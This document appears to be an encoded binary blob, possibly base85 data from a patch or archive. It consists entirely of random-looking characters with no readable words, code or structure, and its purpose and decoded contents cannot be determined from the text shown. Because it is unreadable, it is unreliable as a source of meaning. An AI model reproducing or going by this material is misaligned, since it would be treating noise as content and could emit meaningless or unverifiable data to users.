zeYR^F6&$=Unf0sL^k{C%sTP5*F7wJg+W3%-c-yfe4nI4O)ii|KaPtUJvA{;9w;l2( zS3Sx{U;BQF8hPN7kvIb>1TdhrNB=-1fHX#aZf1(7b{&$$YY&x@yYAm2F>gh{rS@*O zS9o!P$>+hJV+_@tfx|F}tF`EI) zr|0lmB=>5VScM;bSUDuNwdWQG@sMBpyuJwmdzsORuQ|EDouUlg%G6Ma0LI*+g>m&> z8ECSolTFx_wphTgw*ArO?8WhYP^O5uoF7@`JB`~hubPxVPjH4%~|4O%tj>b$vkFI zi{>;>WywFtUq{`GXOjJ_BM4yo=VPE0IjwJuRle+=!yY7CEuRt{&~@>yUVK+Jy+z>O z9PPKNqu|zHxc}AOg#wzwc1<|e-8bK$*6x{;(4)+UnXi*;uj{LP=qmA@Bk`o-z+PZD z;E96;Ef3o3=O-zPIakek!zp9M@IuKI_fA`cG-R1NBA?0=9tB{YsC9VVI(@N6--Pku z1b>m+l9A8XTR5KneE()~0voXJ-^vGV9DXMxA<*Hr#~UR0$G@fr=%CHM2OvdzJj!2f z!a@Dqm=3FG);{&9rhE@@I+{O)t;sLb$UAuNRV?o{F!@j!s|60UpJigSbyb2Qf>i<1 z=-}1-=w{{7xHUE%{#GZNRF~mw7_ZhHRV76AmJH*G8El^j6~8zSw?D<)dWGFy#GP4g zbW2I|P*M@F?3w8H6ywv%#P`LQsCwV^j#j=eW^!=)fzZO)W`cT_@3lX|Dz>zbwLbTE zp3wa8=%aVqfpchxG;F9#TAIg)2b81Q`Y?w19#Kl+Cq8zRN78p-f}bihDGXmbfS7K+ zV;}rbDjtz@^81lIr&g#-j!B4sbMyLbi)k~TzpA>QnI~Or;G4+)WI%6QRcGwjbS7(1 zw;9hYhc~Up|NKc$RW^AP;AyVq3cqaSH$zFd56_4V_HQp{!DG^&XWpTIs)$uT zoexpC@vsmKe2)+eYZ~+Kf4!^}{7&V)ay*9Q zd7q6cfztcJU{^v(9Ic5ESG? zr)4|+Jo<299=ti@8w_3IId%;)**EZc!XAISC;3^3ySs1aD2as1jmgWYBhS5ly65yy zUKM#%o3MRD%E-X|Z!o{mK}8EY_oi=6If4r{3kS*LrLT7)2uPAq|Wp*Y)FZ(>F=r4C2j>K2OM<^b~(^erh!)sS3aQ z0X2oHHl@pKaXds$MZVpR%%+rE1i=xY6i^?KM1qUTm+HC~#Qj^u)c)WiPAAOlyAAFT z7+1ihwDT6ni0k3x9BWls;yu3eTOvU)nx;pb9%7luOgjL>v+2LrUyRL~C_C7&_A)%s zp$RN6Z)B&o8UwL#*bBTb9vR;7b2>4%okQ71i4-;MDXUN&4plU~ZSz^cI^RG73CoAT zUFCN57xiw65T5dbm~YO^REEbB%*Z@}HRf|O3)PRI!XN5m^+)IZ`ugCuGp-I-3dc#% zBvSO@A{eV`#nJD@ucnhCOPSYrffcv7Z{P8Y531IxYUB5P_{ur$H<|E*rEv{_yOI94 zgLrRd5)M~?#`9<`Q@9qs38s`pzqSto$NC=BfpFFIOTG!tr{&a7y5-WvP zTgi`j=P`>040j5>I_3Ei`6Xgoia?sf%{;@j2J)yf=#mum*;Vu+9VB%rEG&svIe6r| zx^~cFS?rL@q!zyRhdvD^wKE)2l4SBJg-34ljA#y*>nDMqjx&1wT5lKH`P|D=KIpWo zlR;WLaWvPzjNjWOp_t5}TI={>+YqK^oryF^dAk3e@JUN#*Fo}?t38{BOO1GhJ}tI_ zbIhI5fcfK5zx1f@`KUm7;sX_VFqcdwYF(5OX@22dGZEl;KE8e05!FE+D2LkWy2nXA z&P{J()E&KKA8Ay?<@b#SMj1f0;0*}_2;=(vVZ9by&~m7EvrW;&uXGckQXToemn=k^ zTpk6x9`VUn3Cc|dNHDk{VQZ&kL{aPrZZ*Y|%&bj5* z=L=cnu(){0lhFHSbb=|BeR)4%u1$G0|;4y;#(G}&Gy_2e;r{#M(a@8oMJ zmDb@!ndz95LL$)Te`-P33l=JoX5#<#ZPIFjKv-A%*Ck||s0T zLb|0`5EGlTif|@zq|N(`l!j2b%yg_uO!fRY=>%6XsC;>SoF|_Co?zty>nl^W%e*(B z?oyn!6X1CQ;HF>Adz7H2`(5j}Wy3*35Xk3oBG*pTu$s#8-9=G{<0Zh= zt>UZmL4tz8o+vHf5i4&8=~}G_651UV$eflr#74f)_Al*P z&x5vs5ZHTY>msZuN+K!h87wEd-PC^-ko8%d(jd?pQ18pF!{*j9To?wInYDre*o z!O{n-QEeIQ@%j4ns%5y4A`1cit}EW4F)w{fzqiThMrbK&J4d+FQw+nOu%vNl?!V`; z37?~1H4UbFR@~5-d?Z*auT!HCOKX+f1%D2HgIF(PlTa zW<>=(UkSHpnM+uyCr{}d?|N*-EsTn{r1aWS2=IohZ>^&;BIH%AnJ3S-ogY#(48DKG z3HzxfyM;P0)}To>SaiB{^v%J$kIFkg(tq++4Q{}6GUbBi%HYEH1V4V0*IA1*vwhLt zVq(`7(2}PAGUhm4uTgZX0noT(0hW~r9k0z66d9bzex=JLiaT|D(~^V$s}_E07K->( zZ_Jo>@7+KM9kC%o04C>_B08{VtfN8M(pq99Ne8YCuZw!)mc!*-muufT`e){vifQ$e zO)bV+>WQ3L`yxIZ_tE;|#=1+VG~TWPPl6}ft@^r>`1uQ!`WMm_WFp>~6B}zR)2BFq zZO^Oy{J&g=3vU0Y$e!oDKJ5ck-B!A(D6Ud6e?hu;-OGG+YQirTz<0@B1N)QI%X?X5 zUi5XzeE-9&D;m;uOsp!1TINQ8Uz^KUYv#QMT1VewI5~u159?Lw zs-OKXu6hHp)>@xh_xgplld+tvzz`eKw!44aE-J>6Rlr+-8$7Jc7^TnWyEWH%V0%%B z7W|%c)=fVV z4CA}H{OULaDtJ98sY!`=l=+0DO0=JA^t0tq@)tsw3<)=PBfA^oWUZYz3P*kyHSS>T z+WhDz+rb@?c4OKN$g%U13{XqfBR#SHzoZ=0*oo>(Hb&9toRV(f(i?gDtDf@@2fD4(w2*?jS zfk}T6P)N*sC2!r+~Lj&Oq0! zqJ=2$dO0eB^4z0lmOWRTxAJj~d&a`Y+|b{%eqVj6Gqq$WBYda|au+c$i&3zRVI1~p z`Wn@n2?v_mQ;Vp8oaH_x(Lb{~jkI!)MPmpo!EkAU3%D`%*|d;V3d(fhj%8}audY6& z^>`5DHN~-uUiI{u8o2Js@P!&1%Y#$W(dT_UT%Om|eH}c9fl{7x@C%#VqTd>RZV~Zx z`vs^b1-E|Sut5nqU5VzSHjwS93;ppOF1DOWu(~l1xIts#W)LmqzyKhe5VFz?JLE|t z%puTsWm1R&g8jq9{*E1&4+G`}?F|A*jh1EtCI1`oV0dcmw<0%&Q6>e%1*Q zAs{M%Ffj^DrJe%I(8ladLB#bN7N|9Ra?oG^UTXMHSmi(AmS!|}+)3_xOyrRON+zc9 zKrZ!PWB&}d|DW)%pQV;2JhaIT9B$iMT7EZFqJ4Ig|Mq?o$)>k$h(B;D?#gg|1p+{c zco6PM%EMO?X7ZiEpA)GRk~mbiFjIn^Soxb8ueBr+si$wOZb>NaL!@t7uufh-`jZgS&dy8uOE^cAW5$0ut^YX1|NZla&T}n& z)GS>q{z&d*H2HsyIs0cI?q8AiqKcciHSbXHXrzUJetl+IFw;?}#7!jnVxn7WiE`RW-rvfCTA?=IS^Ssb z=leEsQp`KaiRex^Bbx1+J&^GxAMgY>ZV>fivdS0=^|-5~Rnw^1y|;gI3vY$S4N-5|`E_DPjiz{*v2{hY6y01y@$# z!@)7X{8J~d-?uzoW&csMh%f6P8JVYshmVR?TA+PGx{1FVlqaUzVMobwBCi1X6ZOGd zS~olP6mp?n4z~w$Dod+KcTOo|^O~}18mzZ>-s;AtdD{hl!(Ytp|4BOdPvnKgo`nU7-6*vX@bAjlKs)Dcd*4_l=)+EmDb>0E(u7UUSL_{6W*b3Sgv4c=v}gB~Ps z6}^7}GQDO`ROL)RV{y7kIq<=7jp76xvh?0vb4ASIjZtGz>O-%8p`BJ+;yexcCilN* zhPq@9+(r>9+&NqnKnTD=jB_T+sH5)fYRHvB`~xbV^uZ8U*opMscpG_ZyedpM^SVzD zx2OFF^!#r%@Af~9?;|!>dEzc&>zsAVEqS+`cn=siJDB00oW=g-D16DW)YzMYI>s*rNo^jL*VX z0%|H!8H>bU^uJln(oY>y=2jqmsy*J8lOhGi7xv~+o19PIy%`b=GEMno0m0EqgRz|me-|E~jdQOs4^3D z+j8t???_`GE;tju8o|fqQlgImMSqQrTyR}ix4E74lfA#*K zvVECkM`Swq(5bqN+~j^D*@_o@C(M<41$e+)xNHZcIpQ=7EJ^V;`TCYTaVVZf@o3>{ zv!fs&T(;{;!<*CFazw5a1g_Ky_>#urrfuKrQ>&FzxvA;n`aBu=3NK4a_d=(@{53dx z@>1Jto(?Zwrz||!0t?iJs_roxUryD7oj4|fvjA^V?~;(z%w{92aAG^B%EfBx&q)t% zt=r6V69GyvYweLJ;eE|xNFSoO)$M)rOPa92fe)LeiIO3UB#ejoC`}HzSFNc0n9a;D zOT|5wp_knva(>)jwA?Jp-Ta6t#|s#2YYW8<*QlCV|mlK}P~X9?9zJbTS-cayIehV!U^6kTvT1LJ-Zj5+rFR z`xk+BMo-FOe~qSO!ThDHXQwHF%&6SusKB1TK%QZYLI?K|Dv&Ge2PVffcVcSU$@`tj zgT(NOxkfy=iahunlcD*|p zy?8AtO~Ub8Ev!eX3HDxeak| z2`E!Tjhh=YM|R=jL{Q(S;+rL!7EWHaY3QRBcxYKkItq<&0@A7xcnK-aB`%>z+ zXhh`%{%3G^oPyO zQM~%f=1E#kuwsdly>Uo7c7eJOqc^}j$116J_v^JjM5;V*V?KulAd}777(CjJN-I_# z>zC}?KmU8;@cwU53vw*cDu=q6HT3G4q)$!Ij?RnJNpC#PZ``8f{-7ms#PUlFk>t7d zV%ho^lSB{9vBBfAwCrD~Z?exG?C(71otqZ(aw1Vi9L!A^|BgL*bX&dud!vHiu0Y~g zJ6)g*YO~5~giom<7W@6Vv&=9@Yww`r#B*My(%Ff~p-(!Rda)XR9CibP zjx{bMP)t2B){U$Q2l1Hzd%xnfG%sQZG3_ppe@mY0nh@`s0*2(fJJ&f`;Ey5oz*@)k z+tF^YGM*b*gN3wgrr^xb7UoeIyrHi`g}%Az!eS8hBU6D;50CX_FYgR+Y8_l=9K4&AyD?VZ#b)S$|FrBO7C1Uw0L87;5JR4Y$*ylf6%uOf`tbg0@j)Y+52L zX*of%*XO|3I-2jxJv=P*Dp2)tD?jTxIaJZ008~oUzoYRVQab}=iQWIaN z2`G@>ng@nJ5`*mq99y|obEP_y4WUJB(Jy~TTMu9?h$uzFMBK^tVsE}brPYucyrU-5 zCpw8(vps-T%-eI(rK%+A)f4grfu3_Jtp};WR?VxJ*rZhKTuRapu}MAhDl1qHN)=Wx z??raq#c$^w0PG9ir%Ku9*rJDK+n;gW!nUsA^pNj^P=EOhv5<`-8|)lNlL$Z7EiF9lPjaQj$5aZ3{7&*LDoB7t5xAy59Mq@*tlm@;?1#BA#@cm%Zj78%vjZG(Ut*%7H+aXEDXbZz6t-VEL3-PrK_by%A~|DoCM% zh?6*IrRZ?q=e|!Pc{&!@*6fd{FnIK!%Ezf*^-Su{#viEV1BN<>OiTl0p@kMhydN70!MHJ?N+)D@l+zdba&n(g?^pSBU}KAQJWJS8I)E9j*Vv1}WDP6`FA}-fesZ{jj^H@@&sRV`!*R>Q1wb z*b`>cay;V>1}fUB@@Jn;U^pnZbf1fg^NeFj_GXhVDdHnldCmV|`Trs|>#*pb>yAF#6 z4mI9&IMq_L-pXN;E$YyMb}vI*sdT`h?f!k5xY1?Pt!iYQFWx=w&sr%+V24k=sj*~W~@R-ZV?5{-y661@P=%hkzRMzS9+SW#_SQu;*w4(Q9GThgk1F zm4|b-k6y-5va2TJT<_RwFAmC#*rL? ze}7AM`d0HTS?nM`zf?YT0GSV+t_&eu3BJOMc&k$I?Wg*4U_&88Y=zZ_$|}J^%EtSj zP2)L50s{2QAOBcoF8(#}P_6J&FS z(?{0D?j;{Ss;!=q$x}w`^el=z)+mvzlOQE1;0@6S(#E_OiqWFGodGB+YUD(N#76r= zbn)sUzecXiIkOXAceL@lIkJJ}+#c)1{4$czdEdm#LDba7dCTu4KL6iI-)_m>Qn(Q~ z2KLqO2P#$CgG;r`lwF=+Hb^!o)wqd%QlCI<`8)f5xPP6)aD72%!x&FslmO0!af7)V zCl~HBdK|0Es#9Y9@oq-J>!ghopH|+MM(*&P5yPa59<)Nh(`M&v|38`nq~SL?5en{V zRtfD}@gOfusC9|?vY%b?4imk?1R?qF11f4=DK9Kg_WN2#cn58W=JQsLa(;QEMPi}7 z#Lp>B7gd>miVJltVleNF`dA8`Isf$CIJPMS)1QZcraSIF+x9lM|JDEg4RcTNZ$;Qp zc+wC)cDvivhT1!c#+FK*wztKr zRc~Vb5QNmYHV@>8v}s^P+dX(OzA0bU$%7pVJtHEK_gEgr&-8r5YC=qk1vO0K%w3w( zk%q7}Nw z{R?%kKwphTBsu2{YD=Op;xSRdB=8v0i}Pn)lMWZlZ#mDjP^nelU6!hf+789z&*8o# z8rMAc{5^j|Jz@5t*Zmi$&N642b(^NG62^f&AWA2QLc6sw9}1vOIo}FiRujkE|Aw$n zF#!3(CYHg0WhJ0Nu3D|)pO1>YRv%bqqh5}y{9ZxctreBVr$HcW9InZ*uI)WiUyLi0 z9+oAqlSenPNSm%(o}QI|PAi(qSm-d{a^_;n?0r1wk%3%x;PGNwZh-WR=w2*+K;6Vv z#OSDIU57Xu-eTr-gFENA3b4Jqsl^G}vt-G={FUKrHpETSFCKBb!ILN7+*M1u;z}D! zKfm_d)X31`Dz`{-W8F&dyPf>cry_n7eKPAw<85>G0_-=1PZzdIw-gfIn_|t-C2LaI+Sz?#Blis4`*jN6 z%W$Z2g+eB7xN&61DD&>YS9O^}=Q3J`uZ;@bM*RiYar$#Rz-nOU4FJCXW=F0dQ1qjn z{Ioo(H#^Ds+h&tBe5CU1+=ro6vR9xkN)uB$A7r6-T=Dk!GSSGkZb~AmQKRPc;9KCl zzhw>zAMr6I8gs~J_dYEmBjD>oZnQj38ZrwOzj%aJwVyv&%j0%&9}Y=PdYbp<>l-6i zZBPK~PAfMaX%#?8#YqS=2&U25UAjGWuyrN=^%6?tdP>-(fa%lbsQ8()1AF(k-D?{c z_3^HHj@{$ss;`*hx+EwD?6?-oUAm)Xm3}D%oibcuywxnA`S9eT+u`w+sounNM?tM}{B1=Bs!rWWC?j)Q z2P00kTBCc0&&L3Tt%7giEW&_nt9eV^r(HhvLn78hDw&id?u08rpxXJP&p^7`HtF5V zE5@1FwHI-GX&O(XU8x9>dx?D=1^lrl0RbWR)_A{AWv5A};<)f}v8YT1 zE8`{n7>2>O9MMuR*2T|P>9DB7pLe-?#`kBUhVFCB^ie<0I~%~tQA#G+Up-51`whab zMn_GqdqK8suc?(qN0??T$vpC(k*2xycP%CsT`D+`$rIuw`umsTTjPSZp(jPp)U~>M zA{N|Tr8xp@+pN#G<(h>1Pj}Ip(cW(=Q_QOBfW&74v#knTb5@CKE2NmYqKJfM`g6W` z1a}bf;JK|NYY?{n-a7q;&>c4U)bm|sJnE#3s_6EP+HN_0dm2d~K zX9|o1-3pYOavU^6e;mKrocShFA!40V4>BtkkwGryQkt6QOk;vGl(v9tOvopb>1uj< zK}VNH5)L=8wHS2Nn!=00IlMQGVcwyDyDN|TpI-`h#QXl3N=0M!eLgsyCx{uG3i4?4 z>$DsZrI3z#CwE;y@SFu&EEn3&y2yOz$|v%`Dr@8I;1*%vB*CpB_9`)d+A)0cN6nO{ zXUk;mydHypP@2IX#gp*H@=O9DhCJ`f5&QF^n;ghx{*wr(5_QsrM45Y?^R!RLZm{BC z1Z10&M*w!TkIr;~iNoGJo8M*x!;iibm7>yj>p|4q#Xj3zlVa{vq}&`=w0ox7Aub=Y z6@N$SPL#it90@5`qzH}J$=R9+AJ}Y(JrP*WT^`1jtTuHUk_!oF2oGU<_?ZbjLOi;< z@KYuv!*%1Y`ZC@434^TkoDyXiwRPSM@=mU@Wq{KAgonzp5~QWKLRtw(n2G8MI{#I3 zr=t9Y!Rxlk{qW^#cmr7QzetQxCJ6rP&;K5@`T4ZEc7y;Z%U{jB-}@^_juQy@fmho7 zQ%M7h`7qzuFxVA2Eih3aEuZACV)1$z!iZTjng ze{oZsZvmiOiBHaYZBNM=x+8Si6tuKdS47YMA;8|KxxS!TD;rR-Yi4D-LggpD4QK); z*u4Wr-;LeA6fA2g{!uE%jJsI4IKtnA&&NEh%hjLpK9-Y{13t^mb}8||+wDamtPwbT zC+AafwMggj!#*lwNB$~B7z>Q?+7?wcxCvdwMY;Gis$F~CI$7<8NBk}bl=F)qJ1$OU}|C{Q|f0~^Cum1O~SnbY6v^AZx zC7XxSTuzEVd)_zZttO&JKmS1}_YbnqRM!QXL~R9XMZc|*2}F)93B`X{MgQ@G>OSFd zCxv0)dN6#B^<6=NK%47edqlJ9e#6>Db^d@u>DNWrB{FC}El3f*Y7rlddM&8$xjdJx z5phZDXXA5^1fO{nbc{AQ(?3>P?T7*h`BE68{nknwcCJQRI)@uiA9(BDGlbi!$Ytz= zk@6Vya@E*k=^g zm+5NfzYB`PPw%MWe@5XR{<68P^?co*7OzYG^doCDxy+B5ze-H&j?7V(oms>|BVJni zh4gbuXBo3J=gojPf=OSw zWs%*Bb&%F<3B};eV}L`_S9v5J{}b6QbSyZQagb;~g@=R{2yKYg`H5PHur$j@}pJV*Lb< z)ZT`~pz}-A&p{9yEx1Z{Lm}b>$S{1&WjNxX+&3yDauBc=jQxfSaS}w<)kjW?evV*d zAPkLQX6A@ulwdH(2&lPeR91Ee%i1erP^g}V_#f6C3J8Q zdbc)2Lk4?+%d@recoG&Qx;cNtLh|nz;y?+T;Nzof^HsIR@%NcXOyh7YjrBH#52U!{ z&W^H)35c~G^dPQ`wQ=}G9J<&^fkAuG3Ba{KA~rtiLur}#SmUwuQv$6!a(Q{VdoPmH z4GEz4EpaMe+a2D`Ufb{oCciP^$yhAFFV1`aawh1pd=O+&onefz3O%KyjlbB+1LWQX z{4eeBzsQa;QHo?p2qJatj4OZd-}b1kO4pPr6}9|2SAS^u?vww=dRL-hkg)y4HjZ>s z=s`ru&4kU{m22z7CfIB1EG%U+Zn$Mqu&Bo8xx}nEPm~hIxaVL{ zPj@>-TCAy$kg6!>67S8-CxH&OqV&G1Prp4<{q=z_L~Ls-O^xq9*X46a$>2&`mNxus z?*y0=s8ouVan>KEsQDS;9Vo7^QKQWJSiYY-7o9Mt+u)8bQIM}Y9o}j(13dnL?dRK! z!)Qs;0@P^whSGY{@9y%?H#6NEgqH+(9iHdZ%9`;-io-BIA>v6~B5RgUTSoZ_DD-dK zYU#f|e_!39@<4EQ42InMhjm8!5q3D>9wNQ7kh4N3>vd$2mtPM8m)Nz_l6Pl5dmAp+|bAd&bn(+i?ohk&Pk<8E)aD1 zo0`7-Z)O~Q3$2cK{_M(JLZ&F}O0tZIlO5y8tsRrHxxXmNFkkNF$r=EJ_p3Tk+S*XF z$D`LWAa(e$a=FUwwDRf~sydTyhoZ2tBprM*5&=FMP88OGJga(@UmRx<-O+%pM`2&q zQyF~(1bpwB|HZ)L)wK?)yY{lk%x|#m>|pi%-HqtYqm8?M1p`bsyd4f19RygoWMu7k ztGSOVIAOT*jxS7fe?zA}JAda37Wi3(`|x)PhLgZc0OO>PAo%n1wJ^2Q{Jb~A&-s3t z5Beu+tKU3{Nk$CE5lgu(oWXad+eL2Ta4fzVs}0bWJs_>-MRvs&J)`J8sgZ9yCs`*@ z3NhE-`zv8J0ouE93(s}h^5Kv@-FA5TGBu?^*?MaAsr>dTl0|i`W%k^q`CzGc4xa;= z1jdWd|HD4|hu8cvJcbvCls+OlbsFwLZesyw=MudCR6{Xp{%mDB?ySeuiKdLNyJA+| zzPN?LN#v<|rUoAq0reA#$062AwXI^00iVlQV0b|;KGvfwxFYaPd&8s_Ckel3#8M%V zyeFPuX`251&*6Gf25oKuio%m1PlRmc#^b;Of0)(!L>H4&aH>9+Cw%et~zYCFDp{Rk|=1;SGTgy7fzA7204d{rj$U17y$66o$2)M}p1X^HKZxgYK6z z5QyADmJs1LF88eQKf%s;XrIB0LaM#tT2^D@2~cW~nUji;QhJL77^&i6k(OWY12t2* z?ioX8K>w(DwUCLC!YRYQ@}U)V#*l5G+G!_Tx^1b^;@qp)ALo*PnhJKEtOptDHRJeteIzzfI_<=D3%(i_rQ56M6 z@%w96d=8sOXpZg7hvW0&AFarX|5<(%E%-2YbrR(*qOqcI?X8G^Sm^(<2}*x{QKA_1 zr7d&L+(|va?tsmb#ZqEhW-u)m$>=z)aCtWWFC#oYx&?L7`ha=K0s}e3yF=INrFIPA_}y+~MuBcZeR=g935P zkZ%A6v)-WNj?U?081H22u4{~XS$~Wcg3#Z!P22v;n9)?m4*J6Ya~S;aqnAzgre4q6 zX(?~x?ev58x#h{5(?6|T-)HBH{4Qt)+#Ev$o>{NUxq8Q2S~E^P)ltbazW)}t%^oDZ zmRIojElVeiClzyv{RGJ?GuKN^wLOnC`}zi|_jczwPkOz^(RFP8>;;S9#i!r?xpApz zWL7n+Dl5jVRN1`K5=6v#b_J2>HhBiJd#grf)`KLu9dg!3H~^T+DLO+yu*9A!xw4=W zHNOLN951-?H(7B6$C#z~W1d?<{uc!jZLL;`GjA@XwH8k&w*4TXAYpts8jcDpHGQ5$ zHa7q$EZ^S$BiqYzlBdt*sxC&tS4zTszShA7cnX@!=K?)}2i#tcDH%UA$(%EEJdo_B zlgE~t5qJ~b{BRE@ztM=2e=;oEexvb%RdVU#Fawhhe7Y-^Qy5j^-9GV7>n67fzJn8p z=DYnp*@gmPbrZ#uOF$&d9^=!)OHK!XII4pwtwdLBD{S}c zl8c_>Jr5x-%9n3lYP40?k3QyG@Ah~G?pw~Qkr2Bs7YnG*b57ep6;_^iEMTAt2D^{f44;UKBVbT^vy63l=t`_V;4YUy2d5(7dbu zDVdywu|e1rA_Fte#76j)M6}=k)IsAUg$C+}?XqZ8sIe6#(JF>6eveG>4s^kjpK(zod)5O7ve`_$9j){nm(HDNi*O; z3Ui`OR&jX}E{qnv)((s7UKagyGVqd)Vvq|~1>Z>e87Pl}MF-c&Q?JhF(-}dVKIW+b z2BpIB{?a%jsV4`WIQ?@LK9WtmGIh1AfopR%=tyaxBIiwns>)?b-T3re&~nUGp<1o; z-BCqc>kX*GLeCTmHLtsi&xD@e>Uc$S z_$DAAjCy0zAT!H`@t0Rnx|f}Q2?h|QMbAb)aIz@TcD8&L)E)a6BC`AMcT;&1BvpDz zu%-RwSNh-PfSJu$dFQ2pHuXzlB+qG{U%v#}W9@O$McRcJ;lmiy=B5oZHJsnJz@;iu zK=p3K$Y7cjtpkGOmLt=4}kOVc_4BVLpbS+JEK`PMqbe$HW9&D|zEdv4@OiXs z`ByX5wvLKzO}ujs-^9P(Z{pePNEMxDSqQGO{tFJ}&!;+-U=c34QeD68qAz%>TsLhz z*>?Ot_H8~m|F->PRac)=#-Sj7j$|RJF2EDr|BWg2O3Imluz`fHJ-}^(!vk*B1*cHF ztt|h@*O*p7xz*a;6*?LA{9w8CAUs_6-?(Rt>~DHqm}7|z|M>HV6!@TQOPXkuN>p8m+GPO zd4P_xbvI)6U;1gD-rm=lXeH!Ml~?c_d3WCvI=tO8Yh_B3pwb=UdN-K-tssF*_;Wk0 zT*s=GkVu8`oWOmCTZ%*_?407Aw>n4+fiZs(*i+o)pY83LM#S1^gwUwnzuzAv?~R;9 z93|$k8_vgYpJZCUd5ag86A=4wbljNn@3l;(o;EB_tb?pp6`ll01PL_pBR_qG=Abo8GXfB%2|3{MO!QzcAqynhC0;>@chsQt$_ z%I5U^j#Q@SBNwT2ewfV=beRIjr@>>OSf|j67d<_zv=%|YcG}-D7 z2re9bQ1wxIjYO->vA9#I&v@^r4U$tud{bmH`*?ph$Lv06teuKn~(HWmxPUrSgKn%v|G>uGn! zu~~)aTUC{W!gcEGsvuw3N#)evhw3Li85%U*Mj;EO^7x@eAoH;qzEB_ic)%(Jsz6QR zgBJHX7U0wT0w=e$(fqtQ^t|<%E0{T&l1C=JDVnp=GA9`3eeGWl8(nCFyR-qkV0>t; z3)DaGU4ZI0p@#l_kAd4pFOJ99uTIBX?9duHgF@ybJm4S$y*zn6m5X(MjPNN?G1$o^ zN&6azy*m}CS`1%zxGKZJ$7j4uVi@v8ZUIA|0}58~X+C%GO@}9~9>+?3OOK8hVR5a> z0Tp&?4Ai(xajg%n-rREQ3$uoZAIXy++gWcQ0H81OB5nHF{LPEU;Ago{%$&dvExo_) zaj)O3NnbGb1k&N10f1q@%yv2Hk01YW_Ijk>m_TdcuR`%?tutv&8s@*#iFQaRi@C}{ z4%t*TOX9;K`={%JsVmCI5*DX2%&-t}((dls@q;kG2R-A8@i^mOlDonwdWgKG_XHI+pxeK#@Cew&jt$?l%@uS6`BCP^_J zH0LsRyL~g>=2ns2t+%_Cyb}_vep%|Ps;S)kEiHfXYS-5b9nQMJ#9UN&cmyf2zDk=6 zbXpbUWNPe~0 z5$5+;Ej7Du>uYK~w6m;w{7sJV&C%9mE)jmN!By9Pf= zFpPhqP(%Emg)JB%U$Z@DKR1T6JeiX;$8$BxfdS{s^HLW+V_LJV2DhQ-6f{2l7v0Hd z)>F0MmG3~pgDRt+Q%w7cPe>fw-BBKChBKW0fzV|M3?s?D-?hfFtSVjrbA^$|4_NtU z0;J4)yddTr@tqG#kGS~S{#Cek`<>47u2aAiDZe)Jhr5k8ig?zZ&MJtd*h?1NRyDW0 z9=a*L)Aj-J<1Yfa{DO9V{K8Jg-mia5^9t@$lu)^-GEMuM=w4A8v^XJ>oR6ToHP4 z4vap^I;f>a^Dg%$7$Gef(DhLDXad+k!l71x(4DSi+=YU;mY)y#cu8f|_)&{X5NF?8 zb6KzoX2V7Kst=*ij^9MK5nrX3s0o*w+qJ)4()N{%J%)bp9DuL*Bbb0#MsAbq*EM!H zVl}74mmr%ZQof(wC3qTM-Z?M)e~|Xx;cUNu-*6N)N)@$Qqb;TOsvSc6wW_4lUTI5< z+IuHOORGjvt0k1GnyK2OMwJ*PHDd>%W)L$Z(&zL2-PiB9zQ=uE&-Gl-asTxRM={N4ESsRND50!s!$jJPI7;_aZR2lvtJ0JMa78r#aV_>)nH~n)< zXPSilpSixaLnR%f!(K9WM`TJ;7Fzyo`c_+IUF{&^?}V{}kZH1fe)G;v6%|U9$~3ns zF%`a&o`XL{Vc)HM0G^N@VN+*wh7`o0P%Wp>Q}HEdo`t4;Q*tty!jat0q5YDo)MleE z@;X3xEkSjD0b@rk~!C+zIaqK=Xl(A!5&6Ctiu5mDlZX-vR zqqYHq<19pnp_cOWu^>Fz10Ooq)jp>-@3cj=;1}94lYMQ)Srgo(R9@E>V4He=Z-RS1 z3J1AsH3AHru9);#L7^Wn0A)R$c*KuSRT#h~FI!DhnXGm^)^@a!V&gAnoV~K&aa#&d zjbj93@&=nB<5Z4>$}dL_72e&rzyzN2`GT-*w6yx!zC zDqKwAdy zH`d1A|Bbv?lH9zn<&o|xsXb!2E)uVpvda7gz4Y`CXngBJI(Doamky-P3=5|$Zk10R zw^0ozj^E*_%sRv#TCF^{r&ZTB*_-smFsF-4Kzk_XH&Ecxi=O7+B+WNB4of|*hl;}@ zo~q>J&V0c8bjxYko&*33qa>Vj>rHWdpmxIfv1uWOs*Qnjz(6WU<}Oi{V2e^HowIjh zs+^s`tuMmfUTDGE3yYQPzDGN~%>kC%ZB2QLLHGN7Q`QOV)a7jm-c(XUFTv z#HTxooM#4V4`o7UHWKH4AnuF;$~X(6*Wz!nyiV?v+Z+-77aN|4Jjly(5{%&w!`1@H zcSf*SqTykp?2oXxx24mCnK|K~+O3J*Y8c*)_yF9_o$Xlio5_$ivuFMp6A3zKUcL?r zRPdmjR2bu;acZIKJ~S(wvdlZ}S1gkY1NP$(Fa!wG6DWNVdG^7s#?1s-pU{1fr%>hy z*RM`ssN%$~)?9BFhUZ5EoX!K%Q;mUY^U1P18OW4>-bb2jX%q}!96%cf=Bnss5aojanR?6SlP(@zoex%NN@ z@xG**bFDlH?jGp0SMb%~4!%)1xgBm%1x#;xHBzLEFp($LMV6E4imNESimdSpAHyny zdG8#CbiFOfVqy&r{@THC#x7LngrgBZN=@&YLv+ZsDs+fE>Hnc_(Y>UR_u? z*m7;b0v6#)&TWJ(fMQ1(5WX!}B;#fRdq*zEprqU8i}L6*y622GE-yEwU0zJ2nK&QX ze?d-l8%Z52c?gW=Dv32vgpuIOkTY$vg9w7OOgbVv!C}}ANnp1AKK&R`qHI`9uoVA- z5ww=2iPEGI=09BFtyHu)eFjv>#xfSsSnaye4Aazyjd4$jIUJi=r|!C)5yC1VW5*6| ztEl57rE0Fi64^$06~qE4;ihr(0u)y(E9)mI-(RGKfL!Qb)3wtQPy8JQlgSnokv61; z3eht6X0^hmJhx6giS)=%8?)E3278qWtMVqu7nesPm<{e~qk3blBs0FJoN#umvW8Y* zH}S-|uIz0vYpLB|Io!L+45R)8^qK<~SZkpv!+c|k>b8Bf=>#4T;0qtCSkI)ewNu}E zz~w2@ZBa5(6zJn?8d=z*e2&h#kr*I_73EN)KAxtTcbLGF^6kqXP)2;GcfAs&axOxX zlvwjOr2*xjT5XemisP9qgs>*pJi`Qt?FL^JQD(&dYKeb>N!Tydq*3Xy+6cQBmu zNz6v?VwJ83H`$5pYTku#SY@osn!MWHZJR;Z-?ZA(S-?!;@LSpL?jnxL@76qXnLkz~ z{04e|0;*^c>_nIfg-g+N#(znpUkZj1VLnp4o~OUfqeuI907F-}n)jo(~bFuv0_w>aL_!x>s{ zkdUIbBz~Fd;liu75!Dax$JGV{1Vz_o$=BiTdR1dm_alZBWsQG0-%vx7tv9;qBLcy3 